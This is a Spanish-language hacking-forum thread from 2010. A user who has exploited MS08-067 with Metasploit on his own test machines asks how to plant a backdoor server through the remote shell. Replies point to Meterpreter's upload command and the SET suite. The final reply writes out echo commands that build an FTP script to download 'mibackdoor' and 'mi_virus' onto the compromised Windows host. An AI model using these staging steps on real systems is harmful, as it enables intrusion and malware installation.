elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Sigue las noticias más importantes de seguridad informática en el Twitter! de elhacker.NET


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Sembrar server desde Shell
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Sembrar server desde Shell  (Leído 4,607 veces)
piratlax

Desconectado Desconectado

Mensajes: 2


Ver Perfil
Sembrar server desde Shell
« en: 2 Julio 2010, 04:19 am »

hola, este es mi primer post y hasta lo pongo con un poco de culpa antes de que me digan que si no puedo buscar antes de postear, bueno sinceramente ya lo busque y e leido bastante pero no encontre algo en concreto, ahi les va mi duda:

Esto es por mi propio afan de estudiar y saber, no es para ver que tiene mi vecina ni nada de eso por el estilo, tengo varias maquinas en mi tallercillo y ejecutando nessus encontre que una de mis maquinas con XP (le puse UE10 sp3) tiene una vulnerabilidad de MS08-067, lo curioso que otra de mis maquinas le puse el xp colosus que trae el sp2 no trae esa vulnerabilidad, bueno pasando a lo otro, usando el Metasploit 3.4 use el exploit MS08_067_netapi y con payload generic reverse tcp y entre al sistema tambien me funciono con un VNC (el penultimo de la lista que dice allports), solo que entro en modo grafico y aparece una ventana azul del VNC y puedo controlarlo con mi propio mouse y teclado.

bueno la duda es esta: ya hice un server (una version modificada del Serv-u) y lo monte en un dominio, al estar en system 32 le hago el comando ftp y abre, al darle open, me conecto a mi ftp, me pide mi user, y hasta ahi llega, se me traba, lo he hecho desde la misma maquina y bajo el archivo ftp en binario, lo ejecuto y si entro a mis archivos de forma remota, pero no puedo ponerlo desde el exploit, ya intente con varios payloads y sin solucion, alguna recomendacion?

y perdon por tanto texto, pero era para que entendieran bien la situacion :p

ademas de que saludos y excelente pagina
En línea

Karcrack


Desconectado Desconectado

Mensajes: 2.416


Se siente observado ¬¬'


Ver Perfil
Re: Sembrar server desde Shell
« Respuesta #1 en: 2 Julio 2010, 11:17 am »

Te lo muevo aqui, espero que te puedan ayudar mejor ;)
En línea

wACtOr


Desconectado Desconectado

Mensajes: 461


Premio finalista diseño web elhacker.net


Ver Perfil
Re: Sembrar server desde Shell
« Respuesta #2 en: 2 Julio 2010, 17:47 pm »

ami tambien se me queda colgado el FTP cuando lo ejecuto en una shell remota, no se por que la verda.

Yo utilizo una session de meterpreter para poder subir  bajar archivos, asi no tengo que trastear con el ftp.

Meterpreter es un PAYLOAD de msf. Si quieres info creo que en hacking basico o avanzado hay unos tutoriares de Shell Root.

Si algun guru tambien sabe por que se puede querar colgado el FTP ami tambien me gustaria saberlo.


Un saludo gracias.
En línea

piratlax

Desconectado Desconectado

Mensajes: 2


Ver Perfil
Re: Sembrar server desde Shell
« Respuesta #3 en: 2 Julio 2010, 20:21 pm »

entonces puedo mandar mi bichito por el payload meterpreter? ahorita le busco como o si alguien me dice seria mas rapido

saludos y grax
En línea

Debci
Wiki

Desconectado Desconectado

Mensajes: 2.021


Actualizate o muere!


Ver Perfil WWW
Re: Sembrar server desde Shell
« Respuesta #4 en: 2 Julio 2010, 23:29 pm »

entonces puedo mandar mi bichito por el payload meterpreter? ahorita le busco como o si alguien me dice seria mas rapido

saludos y grax
Si quieres hacerlo rapido, con la SET Suite.

Saludos
En línea

guicamper322

Desconectado Desconectado

Mensajes: 25



Ver Perfil
Re: Sembrar server desde Shell
« Respuesta #5 en: 14 Julio 2010, 02:54 am »

es por que apesar de que guindows es idiota no tanto
bueno las dos posibilidades son
a)enlugar de una shell/bin_tcp usar meterpeter ya que este prove de un comando que es upload <segido del fichero a subir>, que no necesitars ningun ftp
ahora si la cantidad de ficheros es casi mayor que mis faltas ortograficas lo mejor es la b

b) crear un fichero de texto de la siguiente manera:
ftp open direccion_ip_del_servidor
usuario
contraseña
get fichero_1
get fichero_2
get fichero_3
get fichero_4
....
close
quit


en este caso a ese fichero yo lo he llamado subir.txt
como creamos este fichero pues con el comando echo un ejemplo:

c:\windows\system32>echo ftp open 127.0.0.1 >subir.tx
c:\windows\system32>echo usuario>>subir.tx
c:\windows\system32>echo password>>subir.tx
c:\windows\system32>echo get mibackdoor>>subir.tx
c:\windows\system32>echo get mi_virus>>subir.tx

posterior mente realizamos la conexion al ftp

c:\windows\system32>ftp /s:subir.txt

bueno esto ultimo no se si era asi pero vamos que con poner ftp /help se solventa
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Ayuda con shell para server :(
Hacking
elmatador2 7 6,682 Último mensaje 2 Abril 2015, 17:48 pm
por elmatador2
¿Cómo sembrar torrent muy pesados? « 1 2 »
Dudas Generales
curiosport 10 8,274 Último mensaje 10 Mayo 2016, 01:13 am
por AlbertoBSD
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines